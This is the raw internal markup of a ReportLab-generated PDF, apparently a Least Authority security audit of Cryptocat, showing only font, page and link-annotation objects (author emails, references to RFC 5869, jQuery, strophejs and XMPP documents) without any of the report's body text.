%PDF-1.4
%���� ReportLab Generated PDF document http://www.reportlab.com
% 'BasicFonts': class PDFDictionary
1 0 obj
% The standard fonts dictionary
<< /F1 2 0 R
/F2 3 0 R
/F3 74 0 R
/F4 78 0 R
/F5 81 0 R
/F6 87 0 R
/F7 97 0 R >>
endobj
% 'F1': class PDFType1Font
2 0 obj
% Font Helvetica
<< /BaseFont /Helvetica
/Encoding /WinAnsiEncoding
/Name /F1
/Subtype /Type1
/Type /Font >>
endobj
% 'F2': class PDFType1Font
3 0 obj
% Font Helvetica-Bold
<< /BaseFont /Helvetica-Bold
/Encoding /WinAnsiEncoding
/Name /F2
/Subtype /Type1
/Type /Font >>
endobj
% 'Annot.NUMBER1': class PDFDictionary
4 0 obj
<< /A << /S /URI
/Type /Action
/URI (mailto:nathan@LeastAuthority.com) >>
/Border [ 0
0
0 ]
/Rect [ 181.7729
689.7736
308.0929
701.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER2': class PDFDictionary
5 0 obj
<< /A << /S /URI
/Type /Action
/URI (mailto:zooko@LeastAuthority.com) >>
/Border [ 0
0
0 ]
/Rect [ 217.5729
671.7736
339.9929
683.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER3': class PDFDictionary
6 0 obj
<< /A << /S /URI
/Type /Action
/URI (mailto:daira@LeastAuthority.com) >>
/Border [ 0
0
0 ]
/Rect [ 186.2229
653.7736
304.1929
665.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER4': class PDFDictionary
7 0 obj
<< /A << /S /URI
/Type /Action
/URI (mailto:darius@LeastAuthority.com) >>
/Border [ 0
0
0 ]
/Rect [ 177.3329
635.7736
300.3029
647.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page1': class PDFPage
8 0 obj
% Page dictionary
<< /Annots [ 4 0 R
5 0 R
6 0 R
7 0 R ]
/Contents 178 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER5': class LinkAnnotation
9 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 77 0 R
/XYZ
62.69291
156.0236
0 ]
/Rect [ 62.69291
723.7736
107.1629
735.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER6': class LinkAnnotation
10 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 77 0 R
/XYZ
62.69291
156.0236
0 ]
/Rect [ 527.0227
723.7736
532.5827
735.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER7': class LinkAnnotation
11 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
741.0236
0 ]
/Rect [ 82.69291
705.7736
136.6129
717.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER8': class LinkAnnotation
12 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
741.0236
0 ]
/Rect [ 527.0227
705.7736
532.5827
717.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER9': class LinkAnnotation
13 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
597.0236
0 ]
/Rect [ 82.69291
687.7736
126.0429
699.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER10': class LinkAnnotation
14 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
597.0236
0 ]
/Rect [ 527.0227
687.7736
532.5827
699.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER11': class LinkAnnotation
15 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
333.0236
0 ]
/Rect [ 102.6929
669.7736
218.8529
681.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER12': class LinkAnnotation
16 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 82 0 R
/XYZ
62.69291
333.0236
0 ]
/Rect [ 527.0227
669.7736
532.5827
681.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER13': class LinkAnnotation
17 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
651.7736
104.3629
663.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER14': class LinkAnnotation
18 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 527.0227
651.7736
532.5827
663.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER15': class LinkAnnotation
19 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 82.69291
633.7736
373.3729
645.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER16': class LinkAnnotation
20 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 83 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 527.0227
633.7736
532.5827
645.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER17': class LinkAnnotation
21 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 86 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
615.7736
310.0129
627.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER18': class LinkAnnotation
22 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 86 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 527.0227
615.7736
532.5827
627.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER19': class LinkAnnotation
23 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
597.7736
209.9729
609.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER20': class LinkAnnotation
24 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 527.0227
597.7736
532.5827
609.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER21': class LinkAnnotation
25 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
471.0236
0 ]
/Rect [ 82.69291
579.7736
223.3129
591.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER22': class LinkAnnotation
26 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
471.0236
0 ]
/Rect [ 527.0227
579.7736
532.5827
591.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER23': class LinkAnnotation
27 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
315.0236
0 ]
/Rect [ 102.6929
561.7736
149.9329
573.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER24': class LinkAnnotation
28 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 88 0 R
/XYZ
62.69291
315.0236
0 ]
/Rect [ 527.0227
561.7736
532.5827
573.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER25': class LinkAnnotation
29 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 90 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 102.6929
543.7736
201.0629
555.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER26': class LinkAnnotation
30 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 90 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 527.0227
543.7736
532.5827
555.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER27': class LinkAnnotation
31 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 90 0 R
/XYZ
62.69291
468.8236
0 ]
/Rect [ 102.6929
525.7736
254.9729
537.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER28': class LinkAnnotation
32 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 90 0 R
/XYZ
62.69291
468.8236
0 ]
/Rect [ 527.0227
525.7736
532.5827
537.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER29': class LinkAnnotation
33 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 91 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
507.7736
407.2629
519.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER30': class LinkAnnotation
34 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 91 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 527.0227
507.7736
532.5827
519.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER31': class LinkAnnotation
35 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 98 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
489.7736
350.5629
501.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER32': class LinkAnnotation
36 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 98 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
489.7736
532.5827
501.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER33': class LinkAnnotation
37 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
471.7736
456.7429
483.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER34': class LinkAnnotation
38 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
459.7736
169.9529
471.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER35': class LinkAnnotation
39 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 99 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
471.7736
532.5827
483.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER36': class LinkAnnotation
40 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 103 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
441.7736
300.5429
453.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER37': class LinkAnnotation
41 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 103 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
441.7736
532.5827
453.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER38': class LinkAnnotation
42 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 106 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
423.7736
339.4729
435.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER39': class LinkAnnotation
43 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 106 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
423.7736
532.5827
435.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER40': class LinkAnnotation
44 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 110 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 82.69291
405.7736
219.4129
417.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER41': class LinkAnnotation
45 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 110 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
405.7736
532.5827
417.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER42': class LinkAnnotation
46 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 110 0 R
/XYZ
62.69291
693.0236
0 ]
/Rect [ 102.6929
387.7736
193.8129
399.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER43': class LinkAnnotation
47 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 110 0 R
/XYZ
62.69291
693.0236
0 ]
/Rect [ 521.4627
387.7736
532.5827
399.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER44': class LinkAnnotation
48 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
369.7736
121.5829
381.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER45': class LinkAnnotation
49 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
369.7736
532.5827
381.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER46': class LinkAnnotation
50 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 82.69291
351.7736
289.4429
363.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER47': class LinkAnnotation
51 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 521.4627
351.7736
532.5827
363.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER48': class LinkAnnotation
52 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
660.0236
0 ]
/Rect [ 102.6929
333.7736
169.9329
345.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER49': class LinkAnnotation
53 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
660.0236
0 ]
/Rect [ 521.4627
333.7736
532.5827
345.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER50': class LinkAnnotation
54 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
459.0236
0 ]
/Rect [ 102.6929
315.7736
158.8129
327.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER51': class LinkAnnotation
55 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
459.0236
0 ]
/Rect [ 521.4627
315.7736
532.5827
327.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER52': class LinkAnnotation
56 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
378.0236
0 ]
/Rect [ 102.6929
297.7736
239.3929
309.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER53': class LinkAnnotation
57 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
378.0236
0 ]
/Rect [ 521.4627
297.7736
532.5827
309.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER54': class LinkAnnotation
58 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
309.0236
0 ]
/Rect [ 102.6929
279.7736
212.1729
291.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER55': class LinkAnnotation
59 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
309.0236
0 ]
/Rect [ 521.4627
279.7736
532.5827
291.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER56': class LinkAnnotation
60 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
210.0236
0 ]
/Rect [ 82.69291
261.7736
209.9729
273.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER57': class LinkAnnotation
61 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
210.0236
0 ]
/Rect [ 521.4627
261.7736
532.5827
273.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER58': class LinkAnnotation
62 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 124 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
243.7736
152.1529
255.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER59': class LinkAnnotation
63 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 124 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
243.7736
532.5827
255.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER60': class LinkAnnotation
64 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 124 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 82.69291
225.7736
158.2729
237.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER61': class LinkAnnotation
65 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 124 0 R
/XYZ
62.69291
732.0236
0 ]
/Rect [ 521.4627
225.7736
532.5827
237.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER62': class LinkAnnotation
66 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 133 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
207.7736
323.8629
219.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER63': class LinkAnnotation
67 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 133 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
207.7736
532.5827
219.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER64': class LinkAnnotation
68 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 139 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
189.7736
170.4729
201.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER65': class LinkAnnotation
69 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 139 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
189.7736
532.5827
201.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER66': class LinkAnnotation
70 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 62.69291
171.7736
240.5029
183.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER67': class LinkAnnotation
71 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 142 0 R
/XYZ
62.69291
765.0236
0 ]
/Rect [ 521.4627
171.7736
532.5827
183.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER68': class PDFDictionary
72 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://LeastAuthority.com/) >>
/Border [ 0
0
0 ]
/Rect [ 83.0379
117.7736
153.1879
129.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER69': class PDFDictionary
73 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://crypto.cat/) >>
/Border [ 0
0
0 ]
/Rect [ 394.8577
117.7736
440.7627
129.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'F3': class PDFType1Font
74 0 obj
% Font Helvetica-Oblique
<< /BaseFont /Helvetica-Oblique
/Encoding /WinAnsiEncoding
/Name /F3
/Subtype /Type1
/Type /Font >>
endobj
% 'Annot.NUMBER70': class PDFDictionary
75 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://www.opentechfund.org/) >>
/Border [ 0
0
0 ]
/Rect [ 203.7501
105.7736
312.7937
117.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER71': class PDFDictionary
76 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://crypto.cat/) >>
/Border [ 0
0
0 ]
/Rect [ 320.6255
105.7736
368.4673
117.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page2': class PDFPage
77 0 obj
% Page dictionary
<< /Annots [ 9 0 R
10 0 R
11 0 R
12 0 R
13 0 R
14 0 R
15 0 R
16 0 R
17 0 R
18 0 R
19 0 R
20 0 R
21 0 R
22 0 R
23 0 R
24 0 R
25 0 R
26 0 R
27 0 R
28 0 R
29 0 R
30 0 R
31 0 R
32 0 R
33 0 R
34 0 R
35 0 R
36 0 R
37 0 R
38 0 R
39 0 R
40 0 R
41 0 R
42 0 R
43 0 R
44 0 R
45 0 R
46 0 R
47 0 R
48 0 R
49 0 R
50 0 R
51 0 R
52 0 R
53 0 R
54 0 R
55 0 R
56 0 R
57 0 R
58 0 R
59 0 R
60 0 R
61 0 R
62 0 R
63 0 R
64 0 R
65 0 R
66 0 R
67 0 R
68 0 R
69 0 R
70 0 R
71 0 R
72 0 R
73 0 R
75 0 R
76 0 R ]
/Contents 179 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'F4': class PDFType1Font
78 0 obj
% Font Courier
<< /BaseFont /Courier
/Encoding /WinAnsiEncoding
/Name /F4
/Subtype /Type1
/Type /Font >>
endobj
% 'Annot.NUMBER72': class LinkAnnotation
79 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 114 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 328.9129
363.7736
386.7029
375.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER73': class LinkAnnotation
80 0 obj
<< /Border [ 0
0
0 ]
/Contents ()
/Dest [ 139 0 R
/XYZ
62.69291
768.5236
0 ]
/Rect [ 62.69291
345.7736
164.9629
357.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'F5': class PDFType1Font
81 0 obj
% Font Helvetica-BoldOblique
<< /BaseFont /Helvetica-BoldOblique
/Encoding /WinAnsiEncoding
/Name /F5
/Subtype /Type1
/Type /Font >>
endobj
% 'Page3': class PDFPage
82 0 obj
% Page dictionary
<< /Annots [ 79 0 R
80 0 R ]
/Contents 180 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page4': class PDFPage
83 0 obj
% Page dictionary
<< /Contents 181 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER74': class PDFDictionary
84 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://en.wikipedia.org/wiki/Running%20key%20cipher) >>
/Border [ 0
0
0 ]
/Rect [ 230.2129
449.3736
312.4629
461.3736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page5': class PDFPage
85 0 obj
% Page dictionary
<< /Annots [ 84 0 R ]
/Contents 182 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page6': class PDFPage
86 0 obj
% Page dictionary
<< /Contents 183 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'F6': class PDFType1Font
87 0 obj
% Font Symbol
<< /BaseFont /Symbol
/Encoding /SymbolEncoding
/Name /F6
/Subtype /Type1
/Type /Font >>
endobj
% 'Page7': class PDFPage
88 0 obj
% Page dictionary
<< /Contents 184 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER75': class PDFDictionary
89 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://tools.ietf.org/html/rfc5869) >>
/Border [ 0
0
0 ]
/Rect [ 468.8538
690.7736
496.0738
702.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page8': class PDFPage
90 0 obj
% Page dictionary
<< /Annots [ 89 0 R ]
/Contents 185 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page9': class PDFPage
91 0 obj
% Page dictionary
<< /Contents 186 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER76': class PDFDictionary
92 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://api.jquery.com/replacewith/) >>
/Border [ 0
0
0 ]
/Rect [ 236.7169
753.7736
377.2122
765.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER77': class PDFDictionary
93 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/cryptocat/cryptocat/blob/master/CHANGELOG.md#cryptocat-2116) >>
/Border [ 0
0
0 ]
/Rect [ 111.5929
591.7736
144.3929
603.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER78': class PDFDictionary
94 0 obj
<< /A << /S /URI
/Type /Action
/URI (https://github.com/strophe/strophejs/issues/35) >>
/Border [ 0
0
0 ]
/Rect [ 103.1689
525.7736
185.3249
537.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page10': class PDFPage
95 0 obj
% Page dictionary
<< /Annots [ 92 0 R
93 0 R
94 0 R ]
/Contents 187 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER79': class PDFDictionary
96 0 obj
<< /A << /S /URI
/Type /Action
/URI (http://xmpp.org/extensions/xep-0096.html) >>
/Border [ 0
0
0 ]
/Rect [ 282.6378
711.7736
351.369
723.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'F7': class PDFType1Font
97 0 obj
% Font Courier-Bold
<< /BaseFont /Courier-Bold
/Encoding /WinAnsiEncoding
/Name /F7
/Subtype /Type1
/Type /Font >>
endobj
% 'Page11': class PDFPage
98 0 obj
% Page dictionary
<< /Annots [ 96 0 R ]
/Contents 188 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Page12': class PDFPage
99 0 obj
% Page dictionary
<< /Contents 189 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
/Rotate 0
/Trans << >>
/Type /Page >>
endobj
% 'Annot.NUMBER80': class PDFDictionary
100 0 obj
<< /A << /S /URI
/Type /Action
/URI (http://googlesystem.blogspot.com/2013/04/anonymous-animals-in-google-drive.html) >>
/Border [ 0
0
0 ]
/Rect [ 480.8927
654.7736
531.1145
666.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Annot.NUMBER81': class PDFDictionary
101 0 obj
<< /A << /S /URI
/Type /Action
/URI (http://googlesystem.blogspot.com/2013/04/anonymous-animals-in-google-drive.html) >>
/Border [ 0
0
0 ]
/Rect [ 85.69291
642.7736
195.1329
654.7736 ]
/Subtype /Link
/Type /Annot >>
endobj
% 'Page13': class PDFPage
102 0 obj
% Page dictionary
<< /Annots [ 100 0 R
101 0 R ]
/Contents 190 0 R
/MediaBox [ 0
0
595.2756
841.8898 ]
/Parent 177 0 R
/Resources << /Font 1 0 R
/ProcSet [ /PDF
/Text
/ImageB
/ImageC
/ImageI ] >>
